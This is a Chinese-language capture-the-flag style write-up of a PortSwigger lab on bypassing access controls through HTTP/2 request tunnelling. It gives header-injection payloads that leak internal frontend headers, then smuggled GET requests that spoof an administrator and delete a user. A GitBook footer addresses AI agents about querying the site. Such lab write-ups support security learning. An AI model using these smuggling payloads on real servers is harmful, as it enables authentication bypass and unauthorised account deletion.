> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).

# 通过 HTTP 2 隧道绕过访问控制

### 通过 HTTP/2 请求隧道绕过访问控制

#### **实验描述**

该实验存在请求走私漏洞，因为前端服务器在错误清理传入的标头名称时，将 HTTP/2 请求降级为 HTTP/1。/ 要解决该实验，你必须访问位于 **/admin** 以管理员身份，然后删除用户 **carlos**.

前端服务器不会重用与内部服务器的连接，因此它不受经典请求走私攻击的影响。另一方面，它仍然暴露于 **HTTP/2 隧道**.

#### **服务器行为研究**

首先，插入一个自定义标头，例如：

{% code title="名称：" %}

```http
测试：测试
Host: jord4n.pro
值：
```

{% endcode %}

<pre class="language-http" data-title="值："><code class="lang-http"><strong>值
</strong></code></pre>

<figure><img src="/files/9f04adc9ca8fb1e3ec0003ecfb1653f693c3d7a6" alt=""><figcaption></figcaption></figure>

然后服务器会返回错误，表明该标头可被注入。

<figure><img src="/files/8669afd36cd7ca64002e4830abf1f07f0af68819" alt=""><figcaption></figcaption></figure>

然后，如果我们在搜索引擎中输入类似如下内容：

{% code title="名称" %}

```http
测试：测试
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="/files/47a6a6494c8294e2510a5b7cd6ad6700a5eaf585" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3525b77ab41473c45ef234f08308623c4c76955f" alt="" width="316"><figcaption></figcaption></figure>

前端服务器会因为这个额外标头而感到困惑。/ 通过增加 **Content-Length** 到大约 **150**，服务器会返回内部标头：

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/fac6536548a86684f8214c82b962cd14eed79c4a" alt=""><figcaption></figcaption></figure>

#### **构造隧道请求**

现在正在注入一组新的标头：

```http
测试：测试

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

为了使隧道正常工作，需要设置正确的方法（根据情况使用 HEAD 或 GET）和所需的路由。

<figure><img src="/files/4e0e65bf52910a4eb57362c20ab69708415d47db" alt=""><figcaption></figcaption></figure>

然后访问管理面板，在那里用户 **wiener** 和 **carlos** 会出现。

<figure><img src="/files/71b21d533432e0f3b54ccee01b29aa5187238209" alt=""><figcaption></figcaption></figure>

#### **删除用户**

通过发送类似的隧道请求来完成删除：

```http
测试：测试

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
